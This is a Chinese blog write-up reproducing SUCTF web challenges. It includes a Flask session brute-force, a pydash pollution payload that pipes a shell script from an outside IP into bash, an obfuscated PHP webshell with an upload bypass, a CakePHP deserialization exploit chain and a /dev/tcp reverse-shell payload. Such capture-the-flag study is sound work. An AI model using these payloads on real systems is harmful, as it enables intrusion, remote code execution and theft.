Skip to content

suctf复现

su_blog

开局有个注册页面,注册后登录

image-20250622132335694

登录的时候有sessionimage-20250622132700852

在博客的最下方有这样一句话

image-20250622132910977

知道了secret,session是能被爆破出来的,上面的session第一个点符号之前的base64解码出来是{“username”:”用户名“}

博客诞生事件就是docker创建时间,写个脚本

1
2
3
4
5
6
7
8
import hashlib
import time
timestamp = int(time.time())
starttime = timestamp -300000
with open('./1.txt','w') as f:
dict = {i:hashlib.md5(str(i).encode()).hexdigest() for i in range (starttime,timestamp)}
for key,value in dict.items():
f.write(f"{value}\n")

image-20250622143947667

用flask-unsign爆破一下得到secret

image-20250622144221210

伪造cookieimage-20250622144455552

用管理员登录只是多了个管理友链的功能,可以自己添加删除友链,添加友链的url由自己决定,我试了一下,发现好像除了能alert一下没有其他什么用了。

有个Articles,这里点击文章有一个任意文件读取漏洞,经过测试发现是会把../替换成空

image-20250622150433770

通过/proc/self/cmdline读到启动命令为pythonapp/app.py试着找找,成功读到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
from flask import *
import time,os,json,hashlib
from pydash import set_
from waf import pwaf,cwaf

app = Flask(__name__)
app.config['SECRET_KEY'] = hashlib.md5(str(int(time.time())).encode()).hexdigest()

users = {"testuser": "password"}
BASE_DIR = '/var/www/html/myblog/app'

articles = {
1: "articles/article1.txt",
2: "articles/article2.txt",
3: "articles/article3.txt"
}

friend_links = [
{"name": "bkf1sh", "url": "https://ctf.org.cn/"},
{"name": "fushuling", "url": "https://fushuling.com/"},
{"name": "yulate", "url": "https://www.yulate.com/"},
{"name": "zimablue", "url": "https://www.zimablue.life/"},
{"name": "baozongwi", "url": "https://baozongwi.xyz/"},
]

class User():
def __init__(self):
pass

user_data = User()
@app.route('/')
def index():
if 'username' in session:
return render_template('blog.html', articles=articles, friend_links=friend_links)
return redirect(url_for('login'))

@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
if username in users and users[username] == password:
session['username'] = username
return redirect(url_for('index'))
else:
return "Invalid credentials", 403
return render_template('login.html')

@app.route('/register', methods=['GET', 'POST'])
def register():
if request.method == 'POST':
username = request.form['username']
password = request.form['password']
users[username] = password
return redirect(url_for('login'))
return render_template('register.html')


@app.route('/change_password', methods=['GET', 'POST'])
def change_password():
if 'username' not in session:
return redirect(url_for('login'))

if request.method == 'POST':
old_password = request.form['old_password']
new_password = request.form['new_password']
confirm_password = request.form['confirm_password']

if users[session['username']] != old_password:
flash("Old password is incorrect", "error")
elif new_password != confirm_password:
flash("New passwords do not match", "error")
else:
users[session['username']] = new_password
flash("Password changed successfully", "success")
return redirect(url_for('index'))

return render_template('change_password.html')


@app.route('/friendlinks')
def friendlinks():
if 'username' not in session or session['username'] != 'admin':
return redirect(url_for('login'))
return render_template('friendlinks.html', links=friend_links)


@app.route('/add_friendlink', methods=['POST'])
def add_friendlink():
if 'username' not in session or session['username'] != 'admin':
return redirect(url_for('login'))

name = request.form.get('name')
url = request.form.get('url')

if name and url:
friend_links.append({"name": name, "url": url})

return redirect(url_for('friendlinks'))


@app.route('/delete_friendlink/<int:index>')
def delete_friendlink(index):
if 'username' not in session or session['username'] != 'admin':
return redirect(url_for('login'))

if 0 <= index < len(friend_links):
del friend_links[index]

return redirect(url_for('friendlinks'))

@app.route('/article')
def article():
if 'username' not in session:
return redirect(url_for('login'))

file_name = request.args.get('file', '')
if not file_name:
return render_template('article.html', file_name='', content="未提供文件名。")

blacklist = ["waf.py"]
if any(blacklisted_file in file_name for blacklisted_file in blacklist):
return render_template('article.html', file_name=file_name, content="大黑阔不许看")

if not file_name.startswith('articles/'):
return render_template('article.html', file_name=file_name, content="无效的文件路径。")

if file_name not in articles.values():
if session.get('username') != 'admin':
return render_template('article.html', file_name=file_name, content="无权访问该文件。")

file_path = os.path.join(BASE_DIR, file_name)
file_path = file_path.replace('../', '')

try:
with open(file_path, 'r', encoding='utf-8') as f:
content = f.read()
except FileNotFoundError:
content = "文件未找到。"
except Exception as e:
app.logger.error(f"Error reading file {file_path}: {e}")
content = "读取文件时发生错误。"

return render_template('article.html', file_name=file_name, content=content)


@app.route('/Admin', methods=['GET', 'POST'])
def admin():
if request.args.get('pass')!="SUers":
return "nonono"
if request.method == 'POST':
try:
body = request.json

if not body:
flash("No JSON data received", "error")
return jsonify({"message": "No JSON data received"}), 400

key = body.get('key')
value = body.get('value')

if key is None or value is None:
flash("Missing required keys: 'key' or 'value'", "error")
return jsonify({"message": "Missing required keys: 'key' or 'value'"}), 400

if not pwaf(key):
flash("Invalid key format", "error")
return jsonify({"message": "Invalid key format"}), 400

if not cwaf(value):
flash("Invalid value format", "error")
return jsonify({"message": "Invalid value format"}), 400

set_(user_data, key, value)

flash("User data updated successfully", "success")
return jsonify({"message": "User data updated successfully"}), 200

except json.JSONDecodeError:
flash("Invalid JSON data", "error")
return jsonify({"message": "Invalid JSON data"}), 400
except Exception as e:
flash(f"An error occurred: {str(e)}", "error")
return jsonify({"message": f"An error occurred: {str(e)}"}), 500

return render_template('admin.html', user_data=user_data)


@app.route('/logout')
def logout():
session.pop('username', None)
flash("You have been logged out.", "info")
return redirect(url_for('login'))



if __name__ == '__main__':
app.run(host='0.0.0.0',port=5000)

Admin路由下_set函数会造成原型链污染

image-20250624165745971

会根据你上传的Path和value给object对应的属性进行创建或赋值

user_data是一个user实例,但是源码中对key和value都进行了waf

最终payload

1
payload={"key":"__init__.__globals__.json.__spec__.__init__.__globals__.sys.modules.jinja2.runtime.exported.2","value":"*;import os;os.system('curl http://156.238.233.9/shell.sh|bash');#"}

waf

1
2
3
4
5
6
7
8
9
10
11
12
13
key_blacklist = [
'__file__', 'app', 'router', 'name_index',
'directory_handler', 'directory_view', 'os', 'path', 'pardir', '_static_folder',
'__loader__', '0', '1', '3', '4', '5', '6', '7', '8', '9',
]

value_blacklist = [
'ls', 'dir', 'nl', 'nc', 'cat', 'tail', 'more', 'flag', 'cut', 'awk',
'strings', 'od', 'ping', 'sort', 'ch', 'zip', 'mod', 'sl', 'find',
'sed', 'cp', 'mv', 'ty', 'grep', 'fd', 'df', 'sudo', 'more', 'cc', 'tac', 'less',
'head', '{', '}', 'tar', 'zip', 'gcc', 'uniq', 'vi', 'vim', 'file', 'xxd',
'base64', 'date', 'env', '?', 'wget', '"', 'id', 'whoami', 'readflag'
]

sujava

我在生成这道题的dockerfile时遇到了一些小差错

第一是dockerfile明明将同目录下的start.sh复制到容器根目录下了运行容器却说找不到start.sh

这是因为下载下来的文件在vscode中打开时默认是CRLF换行符(即windows的标准换行符)

而start.sh是要在Linux中运行的,所以换行符要为LF(即下图右下角)image-20250619203531713

第二就是环境附件没给Java8这个目录,所以我在Windows上把我java8的jdk复制进去了,最后发现Windows版的在Linux中不兼容,运行不了,换成linux版的jdk就成功了。

附件是一个类,hint说给出的源码进行了混淆,用的环境是mysql-connector-8.0.28

下图是用idea直接打开class文件

image-20250622131745301

但是如果用jadx对其进行反编译

image-20250622131806419

这个类很明显是对传入的数据库连接语句进行了一些黑名单检测

image-20250619204923528

有个jdbc路由

做题过程

当mysql版本为8.x时的攻击payload是jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=yso_JRE8u20_calc

而autoDeserialize被ban了

而autoDeserialize字段的作用是当执行SHOW SESSION读取到的结果集的第一,二列有blob类型的值时,自动反序列化。

意思是如果没这个字段了读取了就读取了,而反序列化就是这个漏洞的漏洞点,漏洞点不能替换,所以我认为要么找到一个新的字段能够触发反序列化,要么对黑名单检测进行绕过

但是我没发现有啥地方说了有哪些依赖

我看题目给的jar包,好像一条yso能用的链子都没有

image-20250620150914679

这里可以看到username和password并没有合并到connection的url里面。所以可用参数只有host,port,database

反编译一下给的jar包,调试发现extraparam参数要key:value的格式,根据&分割参数通过putVal将key计算hash值后放进map中。

所以user可以放进extraparams,但是因为是通过hash计算放进map中的,放的位置位于下图(不知道这样能不能成功识别user)

但是我还是不知道如何绕过autodeserialize检测

nm原来url编码就能绕过(因为mysql-connector支持url编码)

mysql-connection有另一种连接url的格式image-20250620223145747

将所有属性都写成ADDRESS=(host=)()并对其进行url编码就能绕过。

然后用mysql-fake-server进行文件读取就行,但是我不知道为什么读不了,到connection那一步就一直转圈

su_photogallery

登录后就一个上传图片的接口,可以发单张图片或者zip,上传文件会发给unzip.php。

访问robots.txt提示访问node.md(每次我都会忘记有robots.txt这个东西)

其实node.md也没什么关键信息(看了wp才知道“不想大费周章改变我原本配置的环境”或许指的就是网站是用php -s 这个平时自己用来测试网站的命令开启的)image-20250624211307622

当使用了PHP Built-in Server(PHP内置服务器)(php -S开启的php服务就是使用的内置服务器)且php<=7.4.21时有个漏洞(这题看不到版本,只能自己尝试)

payload(只能用burpsuite,yakit不行,并且要把burpsuite的自动修正Content-length给关了)

1
2
3
4
5
6
GET /unzip.php HTTP/1.1
Host: 192.168.31.253:80

GET /aa.css HTTP/1.1


image-20250624212132110

成功读到源码

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
<?php
/*
* @Author: Nbc
* @Date: 2025-01-13 16:13:46
* @LastEditors: Nbc
* @LastEditTime: 2025-01-13 16:31:53
* @FilePath: \src\unzip.php
* @Description:
*
* Copyright (c) 2025 by Nbc, All Rights Reserved.
*/
error_reporting(0);

function get_extension($filename){
return pathinfo($filename, PATHINFO_EXTENSION);
}
function check_extension($filename,$path){
$filePath = $path . DIRECTORY_SEPARATOR . $filename;

if (is_file($filePath)) {
$extension = strtolower(get_extension($filename));

if (!in_array($extension, ['jpg', 'jpeg', 'png', 'gif'])) {
if (!unlink($filePath)) {
// echo "Fail to delete file: $filename\n";
return false;
}
else{
// echo "This file format is not supported:$extension\n";
return false;
}

}
else{
return true;
}
}
else{
// echo "nofile";
return false;
}
}
function file_rename ($path,$file){
$randomName = md5(uniqid().rand(0, 99999)) . '.' . get_extension($file);
$oldPath = $path . DIRECTORY_SEPARATOR . $file;
$newPath = $path . DIRECTORY_SEPARATOR . $randomName;

if (!rename($oldPath, $newPath)) {
unlink($path . DIRECTORY_SEPARATOR . $file);
// echo "Fail to rename file: $file\n";
return false;
}
else{
return true;
}
}

function move_file($path,$basePath){
foreach (glob($path . DIRECTORY_SEPARATOR . '*') as $file) {
$destination = $basePath . DIRECTORY_SEPARATOR . basename($file);
if (!rename($file, $destination)){
// echo "Fail to rename file: $file\n";
return false;
}

}
return true;
}


function check_base($fileContent){
$keywords = ['eval', 'base64', 'shell_exec', 'system', 'passthru', 'assert', 'flag', 'exec', 'phar', 'xml', 'DOCTYPE', 'iconv', 'zip', 'file', 'chr', 'hex2bin', 'dir', 'function', 'pcntl_exec', 'array', 'include', 'require', 'call_user_func', 'getallheaders', 'get_defined_vars','info'];
$base64_keywords = [];
foreach ($keywords as $keyword) {
$base64_keywords[] = base64_encode($keyword);
}
foreach ($base64_keywords as $base64_keyword) {
if (strpos($fileContent, $base64_keyword)!== false) {
return true;

}
else{
return false;

}
}
}

function check_content($zip){
for ($i = 0; $i < $zip->numFiles; $i++) {
$fileInfo = $zip->statIndex($i);
$fileName = $fileInfo['name'];
if (preg_match('/\.\.(\/|\.|%2e%2e%2f)/i', $fileName)) {
return false;
}
// echo "Checking file: $fileName\n";
$fileContent = $zip->getFromName($fileName);


if (preg_match('/(eval|base64|shell_exec|system|passthru|assert|flag|exec|phar|xml|DOCTYPE|iconv|zip|file|chr|hex2bin|dir|function|pcntl_exec|array|include|require|call_user_func|getallheaders|get_defined_vars|info)/i', $fileContent) || check_base($fileContent)) {
// echo "Don't hack me!\n";
return false;
}
else {
continue;
}
}
return true;
}

function unzip($zipname, $basePath) {
$zip = new ZipArchive;

if (!file_exists($zipname)) {
// echo "Zip file does not exist";
return "zip_not_found";
}
if (!$zip->open($zipname)) {
// echo "Fail to open zip file";
return "zip_open_failed";
}
if (!check_content($zip)) {
return "malicious_content_detected";
}
$randomDir = 'tmp_'.md5(uniqid().rand(0, 99999));
$path = $basePath . DIRECTORY_SEPARATOR . $randomDir;
if (!mkdir($path, 0777, true)) {
// echo "Fail to create directory";
$zip->close();
return "mkdir_failed";
}
if (!$zip->extractTo($path)) {
// echo "Fail to extract zip file";
$zip->close();
}
else{
for ($i = 0; $i < $zip->numFiles; $i++) {
$fileInfo = $zip->statIndex($i);
$fileName = $fileInfo['name'];
if (!check_extension($fileName, $path)) {
// echo "Unsupported file extension";
continue;
}
if (!file_rename($path, $fileName)) {
// echo "File rename failed";
continue;
}
}
}

if (!move_file($path, $basePath)) {
$zip->close();
// echo "Fail to move file";
return "move_failed";
}
rmdir($path);
$zip->close();
return true;
}


$uploadDir = __DIR__ . DIRECTORY_SEPARATOR . 'upload/suimages/';
if (!is_dir($uploadDir)) {
mkdir($uploadDir, 0777, true);
}

if (isset($_FILES['file']) && $_FILES['file']['error'] === UPLOAD_ERR_OK) {
$uploadedFile = $_FILES['file'];
$zipname = $uploadedFile['tmp_name'];
$path = $uploadDir;

$result = unzip($zipname, $path);
if ($result === true) {
header("Location: index.html?status=success");
exit();
} else {
header("Location: index.html?status=$result");
exit();
}
} else {
header("Location: index.html?status=file_error");
exit();
}

unzip函数里面有个逻辑漏洞,在extractTo()解压zip时如果出错了,就会关闭zip流,并且跳过else语句,而check_extension函数和rename函数就是在else里面,这样就跳过了这两个函数,直接将临时文件夹中的文件移到uoload/suimages目录下。

所以我们只需要将我们要留下的文件放在zip中的第一个的位置,将解压时会报错的文件放第二个。这样就能成功将php文件写入目标服务器中

image-20250625174113571

修改第二个文件的文件名(这里文件名必须只有/,不能有其他字母,.txt都要换成/)

成功上传

image-20250625175916452

image-20250625175900869

官方payload,利用了php中base64解码的包容性,会忽略无法识别的字符

1
2
3
4
5
6
7
8
9
10
<?php
$a = 'edoced_46esab';
$b = strrev($a);

$d = 'c3~@#@#@lz!@dGVt';
$s = $b($d);

echo $sys;
$s($_POST[1]);
?>

SU_POP

配了两个小时的环境…

给的exp没mysql服务,db是我自己加的

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
version: "3"
services:
web:
build: ../
# image: test
ports:
- "10021:80"
depends_on:
- db

db:
image: mysql:5.7
restart: always
environment:
MYSQL_ROOT_PASSWORD: root
MYSQL_DATABASE: my_app
MYSQL_USER: my_app
MYSQL_PASSWORD: secret

image-20250706121949436

原来容器之间还能这样用host

给了一个反序列化入口

image-20250708083417986

上网搜索了一下cakephp是有pop链子的,但是题目所用的版本太高了之前的链子不能直接拿来用。

入口点需要换一下。

全局搜索__destruct,发现RejectedPromise调用了__toStringimage-20250708084608612

可以调用__call(这个__call和下面的call都是原漏洞链子中的类)

image-20250708085308472

任意方法调用

image-20250708085407172

因为是无参调用的__call,所以php引擎在给__call传递参数时args这个参数是null,我们找的sink点也是要无参的。

MockClass#generate

image-20250708090107020

脚本构造

重学了一下php反序列化,感觉php反序列化跟Java比起来有点草率,只管全限定名字对不对,没有SerializeUID这些东西。好像反序列化时也不管序列化字符串的属性跟自己源码的属性是不是一个修饰符,拿来就反序列化。

我的答辩exp(可以去看infernity师傅的,很简洁)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
<?php
namespace React\Promise\Internal;

use Cake\Http\Response;
use React\Promise\PromiseInterface;
use function React\Promise\_checkTypehint;
use function React\Promise\resolve;

final class RejectedPromise
{
private $reason;
private $handled = false;
public function __destruct()
{
if ($this->handled) {
return;
}

$handler = $this->set_rejection_handler(null);
if ($handler === null) {
$message = 'Unhandled promise rejection with ' . $this->reason;

\error_log($message);
return;
}

try {
$handler($this->reason);
} catch (\Throwable $e) {
\preg_match('/^([^:\s]++)(.*+)$/sm', (string) $e, $match);
\assert(isset($match[1], $match[2]));
$message = 'Fatal error: Uncaught ' . $match[1] . ' from unhandled promise rejection handler' . $match[2];

\error_log($message);
exit(255);
}
}
public function __construct()
{
$this->reason = new Response();
}function set_rejection_handler(?callable $callback): ?callable
{
static $current = null;
$previous = $current;
$current = $callback;

return $previous;
}
}


namespace Cake\Http;

use Cake\Core\Configure;
use Cake\Http\Cookie\CookieCollection;
use Cake\Http\Cookie\CookieInterface;
use Cake\Http\Exception\NotFoundException;
use Cake\ORM\Table;
use DateTime;
use DateTimeInterface;
use DateTimeZone;
use InvalidArgumentException;
use Laminas\Diactoros\MessageTrait;
use Laminas\Diactoros\Stream;
use Psr\Http\Message\ResponseInterface;
use Psr\Http\Message\StreamInterface;
use SplFileInfo;
use Stringable;
use function Cake\Core\env;
use function Cake\I18n\__d;
class Response{
public $stream;
public function __toString(): string
{
$this->stream->rewind();

return $this->stream->getContents();
}
public function __construct()
{
$this->stream = new Table();
}
}

namespace Cake\ORM;
use ArrayObject;
use BadMethodCallException;
use Cake\Collection\CollectionInterface;
use Cake\Core\App;
use Cake\Core\Configure;
use Cake\Core\Exception\CakeException;
use Cake\Database\Connection;
use Cake\Database\Exception\DatabaseException;
use Cake\Database\Expression\QueryExpression;
use Cake\Database\Schema\TableSchemaInterface;
use Cake\Database\TypeFactory;
use Cake\Datasource\ConnectionManager;
use Cake\Datasource\EntityInterface;
use Cake\Datasource\Exception\InvalidPrimaryKeyException;
use Cake\Datasource\RepositoryInterface;
use Cake\Datasource\RulesAwareTrait;
use Cake\Event\EventDispatcherInterface;
use Cake\Event\EventDispatcherTrait;
use Cake\Event\EventListenerInterface;
use Cake\Event\EventManager;
use Cake\ORM\Association\BelongsTo;
use Cake\ORM\Association\BelongsToMany;
use Cake\ORM\Association\HasMany;
use Cake\ORM\Association\HasOne;
use Cake\ORM\Exception\MissingEntityException;
use Cake\ORM\Exception\PersistenceFailedException;
use Cake\ORM\Exception\RolledbackTransactionException;
use Cake\ORM\Query\DeleteQuery;
use Cake\ORM\Query\InsertQuery;
use Cake\ORM\Query\QueryFactory;
use Cake\ORM\Query\SelectQuery;
use Cake\ORM\Query\UpdateQuery;
use Cake\ORM\Rule\IsUnique;
use Cake\Utility\Inflector;
use Cake\Validation\ValidatorAwareInterface;
use Cake\Validation\ValidatorAwareTrait;
use Closure;
use Exception;
use InvalidArgumentException;
use PhpParser\Node\Name;
use Psr\SimpleCache\CacheInterface;
use ReflectionFunction;
use ReflectionNamedType;
use function Cake\Core\deprecationWarning;
use function Cake\Core\namespaceSplit;

class Table{
protected BehaviorRegistry $_behaviors;
public function __call(string $method, array $args): mixed
{
if ($this->_behaviors->hasMethod($method)) {
return $this->_behaviors->call($method, $args);
}
if (preg_match('/^find(?:\w+)?By/', $method) > 0) {
return $this->_dynamicFinder($method, $args);
}

throw new BadMethodCallException(
sprintf('Unknown method `%s` called on `%s`', $method, static::class),
);
}
public function __construct()
{
$this->_behaviors = new BehaviorRegistry();
}
}

namespace Cake\ORM;

use Cake\Core\ObjectRegistry;
use Cake\ORM\Exception\MissingBehaviorException;
use LogicException;
use PHPUnit\Event\Code\Throwable;
use PHPUnit\Framework\MockObject\Generator\MockClass;
use React\Promise\Internal\RejectedPromise;

class BehaviorRegistry {
protected array $_methodMap = [];
protected array $_loaded = [];
public function __construct()
{
$mockClass = new MockClass();
$this->_methodMap = ["rewind"=>["a","generate"]];
$this->_loaded = ["a"=>$mockClass];
}
public function hasMethod(string $method): bool
{
$method = strtolower($method);

return isset($this->_methodMap[$method]);
}
public function call(string $method, array $args = []): mixed
{
$method = strtolower($method);
if ($this->hasMethod($method) && $this->has($this->_methodMap[$method][0])) {
[$behavior, $callMethod] = $this->_methodMap[$method];

return $this->_loaded[$behavior]->{$callMethod}(...$args);
}

throw new BadMethodCallException(
sprintf('Cannot call `%s`, it does not belong to any attached behavior.', $method),
);
}
public function has(string $name): bool
{
return isset($this->_loaded[$name]);
}
}
namespace PHPUnit\Framework\MockObject\Generator;

use React\Promise\Internal\RejectedPromise;
use function call_user_func;
use function class_exists;
use PHPUnit\Framework\MockObject\ConfigurableMethod;
class MockClass{
private readonly string $mockName;
private readonly string $classCode;
public function __construct(){
$this->classCode = "system('find /flag.txt -exec cat /flag.txt \;');";
$this->mockName="test";
}
public function generate(): string
{
if (!class_exists($this->mockName, false)) {
eval($this->classCode);

call_user_func(
[
$this->mockName,
'__phpunit_initConfigurableMethods',
],
...$this->configurableMethods,
);
}

return $this->mockName;
}
}

$rejectedPromise = new RejectedPromise();
echo(base64_encode(serialize($rejectedPromise)));

发现没权限,用suid提权

image-20250708141514644

1
find /flag.txt -exec cat /flag.txt \;

image-20250708142325533

SU_ez_solon

solon漏洞参考:Solonv2.5.11-RCE - N1Rvana’s Blog

Magic In Java API 学习记录-先知社区

做题过程

是用hessian2来反序列化的,看了下依赖没有常见的hessian利用链,我见过的有洞的依赖也只有h2和fastjson,但是fastjson版本是1.2.83(我记得最高的是1.2.80?),这个版本好像也没什么洞可以用了。因为这道题的名字是solon,用的也是solon框架,怀疑是solon有洞。

看了一下solon的洞,在接收参数时可以实例化@type参数后的类,并且可以调用对应setter给字段赋值。原本的rce处是sun.print.UnixPrintServiceLookup#execmd,这个方法会在UnixPrintServiceLookup的构造函数中被间接调用,但是要控制UnixPrintServiceLookup的一个属性lpcAllCom(因为win的jdk上没有这个类,只有类似的Win32PrintServiceLookup,并且很多方法还是native,我又懒得去在wsl中弄个idea了。就用下参考文章中的图)

img

img

payload是这样

1
2
3
4
5
6
7
8
9
{  
"name": {
"@type": "sun.print.UnixPrintServiceLookup",
"lpcFirstCom":[
";sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1;",
";sh -i >& /dev/tcp/xxx.xxx.xxx.xxx/xxxx 0>&1;"
]
}
}

但是这道题设置了个SecurityManager,不许你命令执行了image-20250710095621572

确实没什么思路了。

复现过程

fastjson在JSON->String的过程中会调用getter,在String->JSON的过程中会调用setter,因为题目直接在反序列化后调用了toString所以只需要反序列化一个实现了JSON的类,这里用的是JSONObject。

h2进行连接是通过JdbcConnection构造函数进行连接的。image-20250710134725215

image-20250710134810392

因为路由处理在最后调用了toString,可以用JSONObject#toString触发value的getter(复现了这么多fastjson的漏洞了我还是不记得这个东西,我到底复现了个啥。。。)

image-20250710213452187

通过codeql查询得到UnpooledDataSource存在getConnection调用了JdbcConnection构造函数(参数都是可控的)

image-20250710213851461

调用栈

image-20250710214143412

所以逻辑还是很简单的,只需要构造一个UnpooledDataSource放进JSONObject里就可以了。

遇到了一个莫名其妙的问题,反序列化的时候所有的类在加载的时候都显示classnotfoundexception,怀疑是编码出了问题

哎哟我真是唐得没边了。我打异常断点,结果在程序运行之前就显示classnotfoundexception,这是正常的,下次要勾选Caught(抛出)类型的异常。很多报错都只是警告,并不影响程序运行,这种就不用管他。明明要用反序列化后的对象调用toString,我压根没写这句话还对着孤单的hessian.readObejct()思考为什么报错。白白浪费一上午。。。

EXP

image-20250711111527579

2.sql,因为设置了个安全管理器,但只限制了命令执行,所以可以直接设置成null然后命令执行

image-20250711111459353

成功复现

image-20250711111621664

这是直接命令执行,试试文件读取

2.sql

1
2
CREATE ALIAS DASHING AS 'void dashingRead() throws java.io.IOException {java.io.File file = new java.io.File("D://flag.txt");java.io.BufferedReader br = new java.io.BufferedReader(new java.io.FileReader(file));String line;while((line = br.readLine()) != null){System.out.println(line);}}';
CALL DASHING();

image-20250711122252255

还可以用system.load()加载so文件,但在win的环境下好像有点麻烦,而且要写文件?感觉有点麻烦。好像还有种内存马的做法,下次碰见了专门的内存马题再说吧。

About this Post

This post is written by DashingBug, licensed under CC BY-NC 4.0.